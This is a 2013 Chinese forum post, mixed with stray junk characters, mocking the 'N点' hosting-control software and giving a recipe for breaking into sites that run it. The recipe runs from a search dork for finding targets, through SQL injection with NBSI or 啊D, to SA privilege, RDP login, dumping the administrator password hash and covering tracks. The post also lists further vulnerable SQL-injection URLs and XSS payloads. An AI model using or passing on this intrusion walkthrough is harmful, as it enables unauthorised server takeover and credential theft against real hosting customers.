不得不说N点实在是一个破东西
9 [6 x# y9 m m |: Z! E/ I就算他开发的商业版，就算商业版附带了安全设置也不能掩饰他的破烂
& w- ~% L4 g5 G6 r9 q" M ?$ i好吧 抱怨一下就行了 接下来关键的时候到了
! R# j/ p3 Z; v% O/ }/ b首先百度搜索关键字：inurl: (mmdatabase.asp)% P& g% F& L7 k, O3 r- O; X+ I5 o
我随便列举一个： www.xxxx.com
3 v8 \5 j7 N( c3 y修改链接：http://www.xxxx.com:80/Style/new ... &RID=1&ID=13 |, Q! ^3 l& t# v
扔入NBSI 或者啊D等各种傻逼工具后
* B# ]) _$ ^1 J你们会看到是SA权限" P4 k2 p- \" l- y. T2 ^
果断3389 上去 hash得到administrator密码: }5 ?$ @' A) O$ Y+ Y
擦屁股走人~
3 F% g, y; |5 j8 Y4 i# b经过基友本人测试10个这个程序5个以上有这个漏洞5个里面有一半是SA权限的" v: \! q- P4 } A
; @( O9 \9 s1 U/ j; N再附上其他几个漏洞页面1 Z! b1 j1 _" S) Q. a' D" K
SQL：
: u: F+ J5 R7 B4 F; X1 v/ Z. Ahttp://www.xxxxxx.com:80/Style/flashad/flashad.asp?adid=1
5 _" _' |* T3 T% s, M; e/ ]http://www.xxxxxx.com:80/Manage/ ... ogin.asp&PID=11 ?" O$ |" M4 D* \8 x1 j2 v
http://www.xxxxxx.com:80/Manage/ ... login.asp&PID=9 u, w" @% ] \
http://www.xxxxxx.com:80/Style/vhosting.asp?classID=23 e4 `2 _6 s W* m. n/ s0 q$ G3 v
XSS证明：
# J$ M- X4 z5 phttp://www.xxxxxx.com:80/Manage/ ... yle/memberlogin.asp”;alert(42873);”1 _% U3 A- Q( s; _$ C, v% C
http://www.xxxxxx.com:80/Manage/ ... yle/memberlogin.asp”;alert(42873);”
7 |9 J4 S/ P+ f; b- ?http://www.xxxxxx.com:80/Style/d ... mp;checkbox2=.bj.cn<script>alert(42873)</script>8 K0 X6 K% q$ j
由此可见点就是坑逼中的战斗机 自从用了他我的眼泪都流干了 有做IDC的朋友千万别步我后尘啊 便宜没好货好货不便宜1 E1 v }, b g( j6 Y1 L1 D y
还是星外吧 你们懂的8 h0 T, c( f& r& N& s6 J
作为一个商用程序 安全如此堪忧甚至于连网上开源的一些程序都有所不如，这样的公司能走多远？
! x. z$ b- N( sPS：其实我真的很想知道你说N点这SB asp就asp吧 为什么asp还非要MSSQL 这不是好像告诉我们快来日吧我们很容易日的，裤子都脱啦，就等你啦。 o(︶︿︶)o 唉
# C2 S- k/ Y p9 b# C o——- |
发表于 2013-3-3 08:06:44
收藏
支持
反对